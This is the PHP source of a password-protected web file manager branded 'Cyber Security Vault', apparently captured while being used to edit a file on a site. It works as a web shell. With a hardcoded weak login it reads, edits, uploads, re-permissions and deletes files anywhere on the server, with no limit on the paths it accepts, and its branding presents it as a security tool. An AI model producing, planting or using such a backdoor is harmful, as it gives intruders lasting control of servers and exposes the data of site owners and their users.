File Explorer

<?php
session_start();

// --- Configuration ---
$username = "admin";
$password = "cmd";

$is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';

// Standardize paths and resolve target directory smoothly
if (isset($_GET['dir'])) {
    $resolved_path = realpath($_GET['dir']);
    $current_dir = $resolved_path ? str_replace('\\', '/', $resolved_path) : str_replace('\\', '/', realpath(__DIR__));
} else {
    $current_dir = str_replace('\\', '/', realpath(__DIR__));
}

$current_dir = rtrim($current_dir, '/');
if (empty($current_dir)) {
    $current_dir = $is_windows ? substr(realpath(__DIR__), 0, 2) : '/';
}

// Generate CSRF token for security
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// --- Authentication ---
if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] === $username && hash_equals($password, $_POST['password'])) {
        session_regenerate_id(true);
        $_SESSION['authenticated'] = true;
        header("Location: ?dir=" . urlencode($current_dir));
        exit;
    } else {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Cyber Security Vault • Sign In</title>
            <style>
                * { margin: 0; padding: 0; box-sizing: border-box; }
                body {
                    background: #0f172a; 
                    display: flex; justify-content: center; align-items: center;
                    height: 100vh; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                    color: #cbd5e1;
                }
                .login-box {
                    background: #1e293b;
                    border: 1px solid #334155;
                    border-radius: 12px; padding: 35px;
                    width: 400px; box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3);
                }
                .login-header {
                    text-align: center; margin-bottom: 25px;
                    border-bottom: 1px solid #334155; padding-bottom: 15px;
                }
                .login-header h2 { font-size: 1.4rem; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; font-weight: 600; }
                .input-field {
                    margin-bottom: 20px; position: relative;
                }
                .input-field i {
                    position: absolute; left: 14px; top: 14px; color: #64748b;
                }
                .input-field input {
                    width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px;
                    color: #f8fafc; padding: 12px 12px 12px 42px; font-size: 0.95rem; outline: none;
                    transition: border-color 0.2s ease;
                }
                .input-field input:focus { border-color: #38bdf8; }
                .submit-btn {
                    background: #0284c7; border: none; color: #ffffff; font-weight: 600;
                    padding: 12px; border-radius: 8px; width: 100%; text-transform: uppercase;
                    cursor: pointer; transition: all 0.2s ease; letter-spacing: 0.5px;
                }
                .submit-btn:hover { background: #0369a1; transform: translateY(-1px); }
            </style>
            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        </head>
        <body>
            <div class="login-box">
                <div class="login-header">
                    <h2><i class="fas fa-shield-halved"></i> Security Vault</h2>
                </div>
                <form method="post">
                    <div class="input-field">
                        <i class="fas fa-user"></i>
                        <input type="text" name="username" placeholder="Username" required autocomplete="off">
                    </div>
                    <div class="input-field">
                        <i class="fas fa-lock"></i>
                        <input type="password" name="password" placeholder="Password" required>
                    </div>
                    <button type="submit" class="submit-btn">Authorize Access</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Handle Logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: ?");
    exit;
}

// --- CSRF Verification Helper ---
function verify_csrf() {
    $token = $_POST['csrf_token'] ?? $_GET['csrf_token'] ?? '';
    if (empty($token) || !hash_equals($_SESSION['csrf_token'], $token)) {
        die("CSRF verification failed.");
    }
}

// --- Handle File Operations ---
if (isset($_GET['action'])) {
    verify_csrf();
    $target_path = realpath($_GET['file']);
    
    if ($target_path && file_exists($target_path)) {
        if ($_GET['action'] == 'delete') {
            if (is_dir($target_path)) {
                @rmdir($target_path);
            } else {
                @unlink($target_path);
            }
        } elseif ($_GET['action'] == 'download' && is_file($target_path)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($target_path).'"');
            header('Content-Length: ' . filesize($target_path));
            readfile($target_path);
            exit;
        } elseif ($_GET['action'] == 'unzip' && is_file($target_path)) {
            $ext = strtolower(pathinfo($target_path, PATHINFO_EXTENSION));
            if ($ext === 'zip' && class_exists('ZipArchive')) {
                $zip = new ZipArchive;
                if ($zip->open($target_path) === TRUE) {
                    $zip->extractTo(dirname($target_path));
                    $zip->close();
                }
            }
        } elseif ($_GET['action'] == 'zip' && is_dir($target_path)) {
            if (class_exists('ZipArchive')) {
                $zip = new ZipArchive;
                $zip_file = $target_path . '.zip';
                if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
                    $files = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($target_path),
                        RecursiveIteratorIterator::LEAVES_ONLY
                    );
                    foreach ($files as $name => $file) {
                        if (!$file->isDir()) {
                            $filePath = $file->getRealPath();
                            $relativePath = substr($filePath, strlen($target_path) + 1);
                            $zip->addFile($filePath, $relativePath);
                        }
                    }
                    $zip->close();
                }
            }
        }
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// Create Folder
if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
    verify_csrf();
    $new_folder = $current_dir . '/' . basename($_POST['folder_name']);
    if (!file_exists($new_folder)) {
        @mkdir($new_folder, 0755);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// Create Empty File
if (isset($_POST['create_file']) && !empty($_POST['file_name'])) {
    verify_csrf();
    $new_file = $current_dir . '/' . basename($_POST['file_name']);
    if (!file_exists($new_file)) {
        @touch($new_file);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// Rename Item
if (isset($_POST['rename_item']) && isset($_POST['file_path']) && !empty($_POST['new_name'])) {
    verify_csrf();
    $target = realpath($_POST['file_path']);
    if ($target && file_exists($target)) {
        $new_name = basename($_POST['new_name']);
        $new_path = dirname($target) . '/' . $new_name;
        if (!file_exists($new_path)) {
            @rename($target, $new_path);
        }
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// Permission Chmod Change
if (isset($_POST['change_perms']) && isset($_POST['file_path'])) {
    verify_csrf();
    $target = realpath($_POST['file_path']);
    if ($target && file_exists($target)) {
        $octal_mode = $_POST['perms_octal'] ?? '';
        if (preg_match('/^[0-7]{3,4}$/', $octal_mode)) {
            @chmod($target, octdec($octal_mode));
        }
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// Save Edit
if (isset($_POST['save_edit']) && isset($_POST['file_path'])) {
    verify_csrf();
    $edit_target = realpath($_POST['file_path']);
    if ($edit_target && is_file($edit_target) && is_writable($edit_target)) {
        file_put_contents($edit_target, $_POST['content']);
    }
    header("Location: ?dir=" . urlencode(dirname($edit_target)));
    exit;
}

// File Upload
if (isset($_FILES['upload_file'])) {
    verify_csrf();
    if ($_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
        $file_name = basename($_FILES['upload_file']['name']);
        $upload_path = $current_dir . '/' . $file_name;
        move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path);
    }
    header("Location: ?dir=" . urlencode($current_dir));
    exit;
}

// --- Helper Functions ---
function format_size($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function get_file_icon($path) {
    if (is_dir($path)) return 'fa-folder';
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $icons = [
        'jpg' => 'fa-image', 'jpeg' => 'fa-image', 'png' => 'fa-image', 'gif' => 'fa-image',
        'pdf' => 'fa-file-pdf', 'zip' => 'fa-file-zipper', 'rar' => 'fa-file-zipper',
        'mp4' => 'fa-video', 'mp3' => 'fa-music', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word',
        'php' => 'fa-code', 'html' => 'fa-code', 'css' => 'fa-code', 'js' => 'fa-code',
    ];
    return $icons[$ext] ?? 'fa-file';
}

function get_permissions_octal($path) {
    $perms = @fileperms($path);
    if ($perms === false) return '0000';
    return substr(sprintf('%o', $perms), -4);
}

// System Metadata Fetching Engines
$php_version = PHP_VERSION;
$server_software = isset($_SERVER['SERVER_SOFTWARE']) ? explode('/', explode(' ', $_SERVER['SERVER_SOFTWARE'])[0])[0] : 'Web Server';
$free_disk = @disk_free_space($current_dir) ?: 0;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cyber Security Vault</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #0f172a; 
            color: #cbd5e1; 
            font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
            font-size: 0.95rem;
            min-height: 100vh;
        }
        .container {
            max-width: 1350px;
            margin: 0 auto;
            padding: 2rem;
        }
        
        /* Modern Clean Header */
        .vault-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid #1e293b;
            padding-bottom: 1.5rem;
            margin-bottom: 2rem;
        }
        .vault-title {
            font-size: 1.8rem;
            font-weight: 700;
            color: #38bdf8; 
            text-transform: uppercase;
            letter-spacing: 1.5px;
            display: flex;
            align-items: center;
            gap: 0.8rem;
            text-shadow: 0 0 15px rgba(56, 189, 248, 0.3);
        }
        .vault-title i {
            color: #0ea5e9;
        }

/* Redesigned Dashboard Bar */
        .topbar {
            background: #1e293b; 
            border: 1px solid #334155;
            padding: 1rem 1.5rem; 
            display: flex; 
            justify-content: space-between;
            align-items: center;
            border-radius: 10px;
            margin-bottom: 1.5rem;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }
        .path-section {
            display: flex;
            align-items: center;
            gap: 0.8rem;
            overflow: hidden;
        }
        .path-label {
            font-size: 0.8rem;
            text-transform: uppercase;
            color: #64748b;
            font-weight: 700;
            white-space: nowrap;
        }
        .path-breadcrumb {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            font-family: 'Consolas', monospace; 
            font-size: 1rem; 
            color: #38bdf8; 
        }
        .path-breadcrumb a {
            color: #38bdf8;
            text-decoration: none;
            font-weight: 500;
            padding: 2px 6px;
            border-radius: 4px;
            transition: all 0.2s ease;
        }
        .path-breadcrumb a:hover {
            background: #0f172a;
            color: #7dd3fc;
        }
        
        /* System Metadata Statistics */
        .system-meta-panel {
            display: flex;
            align-items: center;
            gap: 1rem;
            flex-shrink: 0;
        }
        .meta-badge {
            background: #0f172a;
            border: 1px solid #334155;
            padding: 0.4rem 0.8rem;
            border-radius: 6px;
            font-family: 'Consolas', monospace;
            font-size: 0.85rem;
            color: #94a3b8;
            display: inline-flex;
            align-items: center;
            gap: 0.5rem;
        }
        .meta-badge i {
            color: #0ea5e9;
        }
        
        /* Toolbar Actions */
        .action-grid { 
            display: flex; 
            gap: 1rem; 
            flex-wrap: wrap; 
            margin-bottom: 1.5rem; 
            align-items: center;
        }
        .search-container { 
            flex: 1; 
            min-width: 250px; 
            position: relative; 
        }
        .search-container input {
            width: 100%; 
            background: #1e293b; 
            border: 1px solid #334155;
            color: #f8fafc; 
            padding: 0.75rem 1rem 0.75rem 2.5rem; 
            border-radius: 8px; 
            outline: none;
            font-size: 0.9rem;
            transition: all 0.2s ease;
        }
        .search-container input:focus { border-color: #38bdf8; box-shadow: 0 0 0 2px rgba(56, 189, 248, 0.2); }
        .search-container i { position: absolute; left: 1rem; top: 0.95rem; color: #64748b; }

/* Modern Buttons */
        .btn {
            background: #1e293b; 
            border: 1px solid #334155; 
            color: #cbd5e1;
            padding: 0.75rem 1.25rem; 
            border-radius: 8px; 
            cursor: pointer;
            text-decoration: none; 
            display: inline-flex; 
            align-items: center; 
            gap: 0.5rem; 
            font-size: 0.9rem;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        .btn:hover { background: #334155; color: #f8fafc; border-color: #475569; }
        .btn-success { background: #059669; border: none; color: #ffffff; }
        .btn-success:hover { background: #047857; }
        .btn-danger { background: rgba(225, 29, 72, 0.15); border: 1px solid rgba(225, 29, 72, 0.3); color: #fb7185; }
        .btn-danger:hover { background: #e11d48; color: #ffffff; border-color: #e11d48; }
        .btn-icon { padding: 0.6rem 0.75rem; border-radius: 6px; }

/* Perms dynamic button colors */
        .btn-perm-writable { color: #34d399; background: rgba(16, 185, 129, 0.1); border-color: rgba(16, 185, 129, 0.25); }
        .btn-perm-writable:hover { background: rgba(16, 185, 129, 0.2); color: #10b981; border-color: rgba(16, 185, 129, 0.4); }
        
        .btn-perm-locked { color: #fb7185; background: rgba(225, 29, 72, 0.1); border-color: rgba(225, 29, 72, 0.25); }
        .btn-perm-locked:hover { background: rgba(225, 29, 72, 0.2); color: #e11d48; border-color: rgba(225, 29, 72, 0.4); }

.inline-form { display: flex; gap: 0.5rem; }
        .inline-form input {
            background: #1e293b; 
            border: 1px solid #334155;
            color: white; 
            padding: 0.6rem 0.8rem; 
            border-radius: 8px; 
            font-size: 0.9rem; 
            outline: none;
            transition: border-color 0.2s ease;
        }
        .inline-form input:focus { border-color: #38bdf8; }

/* Elegant Table Design */
        table { 
            width: 100%; 
            border-collapse: separate; 
            border-spacing: 0; 
            text-align: left; 
            background: #1e293b; 
            border-radius: 10px; 
            overflow: hidden; 
            border: 1px solid #334155;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
        }
        th { 
            background: #0f172a; 
            padding: 1.2rem; 
            font-weight: 600; 
            color: #94a3b8; 
            border-bottom: 1px solid #334155; 
            font-size: 0.85rem; 
            text-transform: uppercase; 
            letter-spacing: 0.5px; 
        }
        td { 
            padding: 1rem 1.2rem; 
            border-bottom: 1px solid #334155; 
            vertical-align: middle; 
            transition: background 0.2s ease; 
        }
        tr:last-child td { border-bottom: none; }
        .file-row:hover td { background: #2dd4bf0a; } 
        
        .status-writable td:first-child { border-left: 4px solid #10b981; } 
        .status-readonly td:first-child { border-left: 4px solid #ef4444; }

.row-readonly-text { color: #fca5a5 !important; } 
        .row-writable-text { color: #f1f5f9; font-weight: 500; }
        
        /* Interactive Link wraps */
        .directory-link {
            text-decoration: none;
            color: inherit;
            display: flex;
            align-items: center;
            width: 100%;
        }
        .directory-link:hover .row-writable-text {
            color: #38bdf8;
        }

.file-icon { font-size: 1.2rem; margin-right: 0.8rem; flex-shrink: 0; }
        .folder-icon { color: #facc15; }
        .generic-file-icon { color: #38bdf8; }

/* Code Editor Style */
        .editor-container { 
            background: #1e293b; 
            border: 1px solid #334155; 
            border-radius: 10px; 
            padding: 1.5rem; 
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }
        .code-textarea {
            width: 100%; 
            background: #0f172a; 
            border: 1px solid #334155;
            border-radius: 8px; 
            padding: 1.2rem; 
            color: #a7f3d0; 
            font-family: 'Consolas', monospace; 
            font-size: 0.95rem; 
            line-height: 1.5;
            margin-bottom: 1rem; 
            resize: vertical; 
            outline: none;
        }
        .code-textarea:focus { border-color: #38bdf8; }

.modal-action { display: none; margin-top: 0.8rem; background: #0f172a; padding: 0.8rem; border-radius: 8px; border: 1px solid #334155; }
        .modal-action:target { display: block; animation: fadeIn 0.3s ease; }
        @keyframes fadeIn { from { opacity: 0; transform: translateY(-5px); } to { opacity: 1; transform: translateY(0); } }
    </style>
</head>
<body>

<div class="container">
    <div class="vault-header">
        <div class="vault-title">
            <i class="fas fa-shield-halved"></i> Cyber Security Vault
        </div>
        <div class="vault-logout">
            <a href="?logout=1" class="btn btn-danger"><i class="fas fa-sign-out-alt"></i> Logout</a>
        </div>
    </div>

<div class="topbar">
        <div class="path-section">
            <span class="path-label"><i class="fas fa-folder-open"></i> Directory:</span>
            <div class="path-breadcrumb">
                <?php
                $clean_path = str_replace('\\', '/', $current_dir);
                $parts = explode('/', $clean_path);
                $path_links = [];
                $running_path = '';

if ($is_windows) {
                    foreach ($parts as $index => $part) {
                        if ($index === 0) {
                            $running_path = $part;
                            $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
                        } elseif ($part !== '') {
                            $running_path .= '/' . $part;
                            $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
                        }
                    }
                    echo implode(' <span style="color: #475569;">/</span> ', $path_links);
                } else {
                    echo '<a href="?dir=' . urlencode('/') . '">/</a>';
                    foreach ($parts as $part) {
                        if ($part !== '') {
                            $running_path .= '/' . $part;
                            $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>';
                        }
                    }
                    echo implode(' <span style="color: #475569;">/</span> ', $path_links);
                }
                
                if (isset($_GET['edit'])) {
                    echo ' <span style="color: #475569;">/</span> <span style="color: #f1f5f9; font-weight: 600;">' . htmlspecialchars(basename($_GET['edit']), ENT_QUOTES, 'UTF-8') . '</span>';
                }
                ?>
            </div>
        </div>
        
        <div class="system-meta-panel">
            <div class="meta-badge"><i class="fab fa-php"></i> PHP: <?php echo $php_version; ?></div>
            <div class="meta-badge"><i class="fas fa-server"></i> <?php echo htmlspecialchars($server_software); ?></div>
            <div class="meta-badge"><i class="fas fa-hdd"></i> Free: <?php echo format_size($free_disk); ?></div>
        </div>
    </div>

<?php if(isset($_GET['edit'])): 
        $edit_file = $_GET['edit'];
        if (file_exists($edit_file) && is_file($edit_file)):
            $writable = is_writable($edit_file);
    ?>
        <div class="editor-container">
            <h3 style="margin-bottom: 1rem; font-weight: 600; color: #f8fafc;"><i class="fas fa-code" style="color: #38bdf8; margin-right: 8px;"></i> Edit File: <?php echo htmlspecialchars(basename($edit_file), ENT_QUOTES, 'UTF-8'); ?></h3>
            <form method="post">
                <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
                <textarea name="content" class="code-textarea" rows="25" spellcheck="false" <?php echo !$writable ? 'disabled' : ''; ?>><?php echo htmlspecialchars(file_get_contents($edit_file), ENT_QUOTES, 'UTF-8'); ?></textarea>
                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file, ENT_QUOTES, 'UTF-8'); ?>">
                <div style="display: flex; gap: 1rem;">
                    <?php if($writable): ?>
                        <button type="submit" name="save_edit" class="btn btn-success"><i class="fas fa-save"></i> Save Changes</button>
                    <?php else: ?>
                        <button type="button" class="btn" disabled><i class="fas fa-lock"></i> Read-Only Mode</button>
                    <?php endif; ?>
                    <a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($edit_file)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-arrow-left"></i> Go Back</a>
                </div>
            </form>
        </div>
    <?php else: header("Location: ?dir=".urlencode($current_dir)); exit; endif; ?>

<?php else: ?>
        <div class="action-grid">
            <div class="search-container">
                <i class="fas fa-search"></i>
                <input type="text" id="searchInput" placeholder="Search files or folders...">
            </div>

<a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($current_dir)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-level-up-alt"></i> Up</a>
            <button class="btn btn-success" onclick="document.getElementById('fileUpload').click()"><i class="fas fa-cloud-arrow-up"></i> Upload</button>
        </div>

<table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Permissions</th>
                    <th>Size</th>
                    <th>Last Modified</th>
                    <th style="text-align: right;">Actions</th>
                </tr>
            </thead>
            <tbody id="file-tbody">
                <?php 
                $items = @scandir($current_dir);
                if($items === false) $items = [];
                
                $folders = [];
                $files = [];
                
                // Segregate Folders and Files for structural prioritization
                foreach($items as $item) {
                    if($item == '.') continue;
                    if($item == '..' && $current_dir === dirname($current_dir)) continue;
                    
                    $path = $current_dir . '/' . $item;
                    if(is_dir($path)) {
                        $folders[] = $item;
                    } else {
                        $files[] = $item;
                    }
                }
                
                // Merge to ensure folders remain on top and files stay below
                $ordered_items = array_merge($folders, $files);
                
                foreach($ordered_items as $item): 
                    $path = $current_dir . '/' . $item;
                    $is_dir = is_dir($path);
                    $writable = is_writable($path);
                    
                    $status_class = $writable ? 'status-writable' : 'status-readonly';
                    $text_class = $writable ? 'row-writable-text' : 'row-readonly-text';
                    $icon_class = $is_dir ? 'fa-solid fa-folder folder-icon' : get_file_icon($path) . ' generic-file-icon';
                    $perm_btn_class = $writable ? 'btn-perm-writable' : 'btn-perm-locked';
                ?>
                <tr class="file-row <?php echo $status_class; ?>" data-name="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>">
                    <td>
                        <div style="display: flex; align-items: center;">
                            <?php if($is_dir): ?>
                                <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="directory-link">
                                    <i class="<?php echo $icon_class; ?> file-icon"></i>
                                    <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span>
                                </a>
                            <?php else: ?>
                                <i class="<?php echo $icon_class; ?> file-icon"></i>
                                <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span>
                            <?php endif; ?>
                        </div>
                        
                        <div id="rename-<?php echo md5($item); ?>" class="modal-action">
                            <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="text" name="new_name" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" required>
                                <button type="submit" name="rename_item" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button>
                                <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a>
                            </form>
                        </div>

<div id="perms-<?php echo md5($item); ?>" class="modal-action">
                            <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>">
                                <input type="text" name="perms_octal" placeholder="0755" style="width: 100px;" required>
                                <button type="submit" name="change_perms" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button>
                                <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a>
                            </form>
                        </div>
                    </td>
                    
                    <td>
                        <code style="color: #94a3b8; font-family: 'Consolas', monospace; font-size: 0.95rem; font-weight: 500; letter-spacing: 1px;"><?php echo get_permissions_octal($path); ?></code>
                    </td>
                    
                    <td style="color: #e2e8f0;"><?php echo $is_dir ? '—' : format_size(@filesize($path)); ?></td>
                    <td><span style="color: #94a3b8;"><?php echo date("M d, Y H:i", @filemtime($path)); ?></span></td>
                    <td style="text-align: right;">
                        <div style="display: flex; gap: 0.4rem; justify-content: flex-end;">
                            <?php if($is_dir): ?>
                                <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Open Folder"><i class="fas fa-folder-open"></i></a>
                                <a href="?action=zip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Compress to ZIP"><i class="fas fa-file-zipper"></i></a>
                            <?php else: ?>
                                <a href="?edit=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Edit File"><i class="fas fa-pen-to-square"></i></a>
                                <a href="?action=download&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Download"><i class="fas fa-download"></i></a>
                                <?php if(strtolower(pathinfo($path, PATHINFO_EXTENSION)) === 'zip'): ?>
                                    <a href="?action=unzip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Extract ZIP"><i class="fas fa-box-open"></i></a>
                                <?php endif; ?>
                            <?php endif; ?>
                            <a href="#rename-<?php echo md5($item); ?>" class="btn btn-icon" title="Rename Item"><i class="fas fa-i-cursor"></i></a>
                            
                            <a href="#perms-<?php echo md5($item); ?>" class="btn btn-icon <?php echo $perm_btn_class; ?>" title="Change Permissions (Status: <?php echo $writable ? 'Writable' : 'Locked'; ?>)"><i class="fas fa-key"></i></a>
                            
                            <a href="?action=delete&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon btn-danger" title="Delete Forever" onclick="return confirm('Are you sure you want to permanently delete this?');"><i class="fas fa-trash-can"></i></a>
                        </div>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>

Editing File: classwithtostring.php